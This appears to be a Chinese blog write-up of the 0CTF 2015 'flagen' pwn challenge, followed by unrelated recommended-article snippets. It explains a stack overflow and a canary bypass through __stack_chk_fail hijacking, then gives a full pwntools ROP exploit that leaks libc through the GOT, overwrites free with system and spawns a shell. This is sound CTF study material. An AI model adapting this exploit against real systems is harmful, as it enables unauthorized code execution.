flagen

ELF中PLT和GOT工作机制简介-可还原 以实际的Hello World小程序为例子,作为动态库的学习材料。 开章上个图,看完明白这个图。 1.编译过程 以最简单的 Hello world为例 #include <stdio.h> int main() { printf("hello, world\n"); return 0; } ... 阅读详情

题目
提取码:g36p

ida静态分析

找到sub_80488C6()函数中存在一个漏洞点。

      case 0x48:
      case 0x68:
        v4 = v15;
        v5 = v15 + 1;
        *v4 = 0x31;
        *v5 = 0x2D;
        v6 = v5 + 1;
        v15 = v5 + 2;
        *v6 = 0x31;
        break;

这部分代码将我们输入的flag转换后会变长,存在溢出漏洞。
但仅仅有这个还不行,因为这个程序存在canary,所以我们必须要解除canary。
在这里面有个十分巧妙的地方
在这里插入图片描述
如果我们构造的payload合适的话,可以用 __stack_chk_fail的地址将参数给覆盖,从而使得我们可以控制 __stack_chk_fail,去掉检查。

然后还需要注意的就是payload中会有\x00截断,所以我们需要找到一个合适的输入函数。使用文件中自己编写的输入函数,覆盖参数(注意\x00截断)
在这里插入图片描述
exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']


elf=ELF('./flagen')

def input(p,input):
    p.sendlineafter(': ','1')
    p.sendline(input)

def up(p):
    p.sendlineafter(': ','2')

def low(p):
    p.sendlineafter(': ','3')

def change(p):
    p.sendlineafter(': ','4')

def addprefix(p):
    p.sendlineafter(': ','5')

def prin(p):
    p.sendlineafter(': ','6')

def exit(p):
    p.sendlineafter(': ','7')

puts=0x08048510
ret=0x0804846a
stack_check=0x0804B01C
pop_1=0x08048481
pop_2=0x08048b00
pop_3=0x08048d8d
bss=0x804b144+0x8
a=0x08048F60
read=0x080486CB

p=process('./flagen')
payload=p32(ret)+'h'*0x55+'a'*8+'a'*5+p32(pop_1)+p32(stack_check)
payload+=p32(puts)+p32(pop_1)+p32(elf.got['free'])
payload+=p32(read)+p32(pop_3)+p32(bss+0x100)+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(read)+p32(pop_3)+p32(elf.got['free'])+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(elf.plt['free'])+p32(pop_1)+p32(bss+0x100)
input(p,payload)
change(p)
alarm=u32(p.recv()[4:8].ljust(4,'\x00'))

libc=LibcSearcher('alarm',alarm)
system=alarm-libc.dump('alarm')+libc.dump('system')
malloc_hook=alarm-libc.dump('alarm')+libc.dump('__malloc_hook')
print('malloc_hook',hex(malloc_hook))
p.sendline('/bin/sh\x00')
p.sendline(p32(system))
p.sendline('ls')
p.interactive()
p.close()
BugkuCTF-PWN题pwn7-repeater详细讲解多解法 知识点 解题流程 方法一 查看文件类型: 32位文件 查看保护机制 只开启了NX 32位IDA打开 伪码: 0x70=112 0x64=100 发现该题目为典型的格式字符串漏洞。 解题思路 此题的大概思路如下: 1、找到libc_start_main在栈内的偏移,使用%p暴露该地址 2、利用LibcSearcher猜测使用的libc,算出libc基址 3、计算出此libc的system地址 4、把prinf的got表改为system地址 5、执行system(’/bin/sh’) 具体调试 执行gd 阅读详情

相关推荐

初学FPGA——状态机

@[仅记录FPGA学习过程中的点点滴滴,欢迎交流与指正] 基础知识 状态机全称是有限状态机(Finite State Machine,FSM ),是一种在有限个状态之间按一定规律转换的时序电路,可以认为是组合逻辑和时序逻辑的一种组合。状态机通过控制各个状态的跳转来控制流程,使得整个代码看上去更加清晰易懂,在控制复杂流程的时候,状态机优势明显,因此基本上都会用刀状态机。 状态机功能: 描述系统逻辑功能。 定义系统的不同状态。 描述系统转化的条件及转化过程。 刻画系统状态和输入输出之间的关系。 状态机的.

gouyepeng的博客 1230

0ctf flagen writeup

溢出点: 在leetify的处理中,程序将h转化为1-1,一个字符变成了三个字符。但是空间没有增加,存在栈溢出。 利用: 程序有栈canary保护,最开始想着找方法泄露出canary。看栈上有残留的canary存在,然后就使劲找泄露方法,奈何所有的处理函数中,字符串的末尾都添加上了\x00,因此没办法泄露。 后来考虑栈溢出能覆盖些什么。栈canary、返回值、函数参数。函数的参数刚

ling 2171

2021东华杯misc详解

前言 本次比赛还是发现了自己很多问题,希望以后能改善吧。。。 签到 +AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0- utf-7编码http://toolswebtop.com/text/process/decode/UTF-7 flag{dhb_7th} project 题目附件发现是工程文件,按日期排序只有一个新的exe文件,那考点肯定就在这了 运行exe生成了一个zip 打开解压缩的文件发现有三部分编码 base64 quoted-printable base64转

Demodd的博客 6万+

[pwn]ROP:三道题讲解花式绕过Canary栈保护

文章目录绕过Canary栈保护Canary栈保护babystack writeupMary_Morton writeup 绕过Canary栈保护 Canary栈保护 Canary是一种栈保护手段,通常通过在栈中插入cookie信息(一般在ebp上方),在函数返回的时候检查cookie是否改变,如果改变则认为栈结构被破坏,则调用一个函数强制停止程序。当开启Canary保护的时候不能通过传统的栈溢出直...

Breeze的博客 1万+

《算法第四版》学习心得一——怎么学算法

 一、算法的两个核心 算法的核心内容实际上有两个: 算法的概念和思路。 算法的编程实现。 两者相互关联影响,缺一不可。 不理解基本概念和思路,就算把实现代码背下来,也无济于事,因为脑袋里依然是一片模糊。理解了概念和思路,不去用代码实现,脑袋里有的只是概念,无法根据真实需求实现解决方案。 二、学算法需要什么基础 首先,必须要有一定的编程语言基础,要理解语言中最基本的概念:数据类型,类,成...

illikang的博客 3909

Ubuntu 24.04下Loki+Alloy+Grafana日志分析系统的快速部署与实践

本文详细介绍了在Ubuntu 24.04系统上快速部署Loki+Alloy+Grafana轻量级日志分析系统的完整流程。通过二进制安装Loki、配置Alloy采集器以及设置Grafana可视化界面,构建了一套资源消耗低、易于管理的日志解决方案,并实战演示了如何采集和分析网络设备日志,特别适合资源有限的中小团队或边缘计算场景。

tensor9flow的博客 235

浅谈Flag模式

讲Flag之前,先有一个概念,taskAffinity(任务栈亲和力)。taskAffinity跟Flag是配合使用的。我们在manifest清单文件中给某些activity的标签设置上这个属性,后面跟的值是包名,那么就使得这些activity在同一个任务栈中(即taskID是相同的)。1.FLAG_ACTIVITY_NEW_TASK模式(要求在不同应用中使用)1.1概念:这个标志通常会启动一个新的

灵魂里的香气 1252

40-基于STM32与LD3320的智能语音调光台灯开发全攻略(代码+硬件+调试心得)

本文详细介绍了基于STM32与LD3320的智能语音调光台灯开发全攻略,包括硬件设计、软件实现和调试心得。项目利用STM32单片机控制LD3320语音识别模块,实现语音控制开关和PWM调光功能,适合非接触式操作场景。文章还分享了硬件选型、PWM调光算法优化及常见问题解决方案,为开发者提供完整参考。

weixin_29163797的博客 325

Neepu2023-部分Reserve复现

逆向

m0_73393932的博客 1217

S/4中的16种特殊库存类型

S/4中的16种特殊库存类型

yanzibing99的博客 1万+

STM32F407 FSMC并口读取AD7606

先贴一下最终效果图.这个是AD7606并口读取数据一个周期后的数据结果. 原始波形用示波器看是很平滑的. AD7606不知为何就会出现干扰, 我猜测可能是数字信号干扰导致的. 因为干扰的波形很有规律. 这种现象基本上可以排除是程序问题. 应该是干扰或者数字信号干扰,或者是数字和模拟共地导致的.是一个宏,实际上是指向的一个内存地址, 这个内存地址是FSMC指定的地址. 使用FSMC接口, 可免于控制引脚, 直接读取某个地址即可, FSMC会自动产生操作时序. 具体请见FSMC相关知识.

走错路的程序员 5497

0CTF 2015 FreeNote

0CTF 2015 Freenote 序言 又一个Double Free类型的题, 虽说是Double Free, 但利用方式不一样, 有需要的看一下. 程序运行(简单运行) 1. MENU == 0ops Free Note == 1. List Note 2. New Note 3. Edit Note 4. Delete Note 5. Exit =======...

Bill 1391

clang-tidy 使用指南

clang-tidy 需要一个编译数据库来了解如何编译你的代码。编译数据库通常是一个名为 compile_commands.json 的文件。在这个示例中,clang-tidy 会对 test.cpp 文件进行分析,并报告任何潜在的问题。例如,它可能会警告 test 函数中的未使用变量 x。clang-tidy 是一个用于 C++ 代码的静态分析工具,可以帮助你发现代码中的潜在问题和改进点。这将在 build 目录中生成一个 compile_commands.json 文件。

weixin_42244181的博客 2362

[exploit][writeup]0ctf2015 flagen - Canary绕过之__stack_chk_fail劫持

本题为Linux栈溢出漏洞的利用,考查Linux Canary绕过技术及ROP(Return-Oriented-Programming)攻击负载的构造。 0x01 Linux Canary介绍首先了解一下Linux的Canary保护机制。Canary是Linux众多安全保护机制中的一种,主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的...

weixin_34133829的博客 781

基于 C# 实现 RTSP 摄像头监控分屏系统:从流媒体获取到多画面显示

通过本文的讲解,我们介绍了如何在 C# 中实现 RTSP 摄像头监控分屏系统。我们使用了FFmpeg和VLC两种不同的方法来获取和解码 RTSP 流,并通过PictureBox控件和控件实现了分屏布局。两种解码方案都非常强大,可以根据实际需求选择最适合的方案。通过这种方式,您可以轻松地在 C# 中集成 RTSP 流,并将多个摄像头的视频流实时显示在同一屏幕上,进行监控和分析。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 2309

磁环电感参数计算

电感饱和是指当电感中的电流超过一定阈值时,电感中的磁场无法继续增加,而是达到一个饱和状态,导致电感的感应电动势减小或消失。电感通常由线圈组成,当通过线圈的电流不断增加时,线圈内部的磁场也随之增加。然而,当电流达到一定程度时,线圈的铁芯磁化达到饱和,无法进一步增加磁场强度。电感饱和的阈值取决于电感的结构、材料和尺寸等因素。通常情况下,电感的额定电流会标明其饱和电流值。一旦电感中的电流超过了饱和电流,电感将饱和并出现异常行为。当我们谈论电感饱和的时候,实际上是在谈论磁芯饱和——空心的电感永远不会饱和。

小幽余生不加糖 4031

0ctf之simple

参考: http://www.ikey4u.com/blog/0ctf-2015-simpleapk/partB-analysis-solib/ 打开AndroidManifest.xml发现android:debuggable="true", 因此我们就不用修改什么了,可以直接调试。直接原 apk 上 IDA Pro动态调试即可.一般的我们都会开两个 IDA, 一个用于动态分析,一个用于静

公众号shadow sock7 1340

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

2015移动安全挑战赛前2题writeup

看雪的移动安全挑战赛打了个酱油,只做出前2题,第三体加固了就不知道怎么弄了。 Alicrack1: 1 查看代码: Str2=table= Str3=pw Str1=input Str4=bytesToAliSmsCode(str2, str1)   table 和pw可以由logcat得到。   写了个java代码解密: import java.io.U

ling 2232

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

毕业设计实战:单片机智能温控风扇设计 带智能调速人体感应 论文仿真 源码 原理图

51单片机做的温空风扇 数码管显示 带人体感应模块,实现智能调速,功能非常强大,这是一个本科的毕业设计,毕业论文 开题报告 源码 原理图 还有proteus仿真等等都是一应俱全. 还有答辩常见问题解答,焊接注意事项和调试讲解,以及详细的制作过程. 温空风扇实物图: 智能风扇仿真截图: 温空风扇的DXP格式 protel99格式 温控风扇原理图: DXP格式用 Alti...

从零开始学单片机的博客 8292

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

很经典的一个Re题目

很明显encode有问题 进去看看 查看key长度是18于enflag的长度一样 查看enflag里面东西是 把这一串字符用ASCII解密出来 编写python脚本得到flag` enflag=[105, 122, 119, 104, 114, 111, 122, 34, 34, 119, 34, 118, 46, 75, 34, 46, 78, 105, 0] flag=’’ for i in range(0,18,3): flag+=chr((18^enflag[i])-6) flag+=chr.

Mr_Corazon的博客 455

2017陕西赛pwn_box_Writeup

题目链接:BIN的Magical_Box 格式化字符串泄露Canary和libc地址 缓冲区溢出提权 from pwn import * Local = False if Local: io = process('./pwn_box') libc = ELF('/lib/i386-linux-gnu/libc.so.6') elf = ELF('

ACdream 729

攻防世界-Reverse-666(图解详细)

自述 这道题对于新手来说还是比较经典的,把逆向与python脚本的编写联系了起来;因为刚开始我没有学python,一遇到脚本什么的就很懵,学了半个月python后,我对做题有个更深的认识,记录一下; 解题 把文件放入IDA 找到main函数, 这一段很短却提供了很多的信息; 意思是:输入一串字符,进入encode(点进去发现是一个加密函数) 再往下走,长度与key相比较,要求长度等于key,再往下走,把加密后的字符与enflag相比较,两者相等 **一.**先点进key看看; 有两个信息 1. key

半岛铁盒的博客 5585

UCOSIII事件标志组

两种同步机制 “或”同步 “与”同步 使能#define OS_CFG_FLAG_EN 1u /* Enable (1) or Disable (0) code generation for EVENT FLAGS */主结构体typedef struct os_flag_grp OS_FLAG_GRP; struct os_flag_grp {

超哥的专栏 973

逐字逐句解析ucos ii 源代码-》OS_FLAG

//BY 简单的元清 //部分内容引用了其他博主的文章,对这些博主表示感谢,时间关系就不一一指出了。 //如有转载,请说明,谢谢/* ********************************************************************************************************* * ...

一条狗的自我修养 2382

gdb 调试 PIE程序

方法1 可以安装gdb的pwndbg插件 使用 b *$rebase(0x相对基址偏移) 方法二 可以先找到pie $ ps -aux|grep task_shoppingCart hu 6158 0.0 0.0 4356 632 pts/18 S+ 07:50 0:00 ./task_shoppingCart hu 6162 0.0 ...

Maxmalloc的博客 3798

pwn题中 setbuf的用处

在我们遇到的每一个需要输入输出的pwn题中一般都会有下面这几条语句 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); 直到今天才彻底搞明白这三句话的作用。 因为我们搭建pwn题一般都是用socat进行端口转发,pwn题搭建详情 但是socat不是一次写一行而...

Maxmalloc的博客 3423
上一篇: pwn准备
下一篇: 2015 plaidctf datastore(off by one)
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值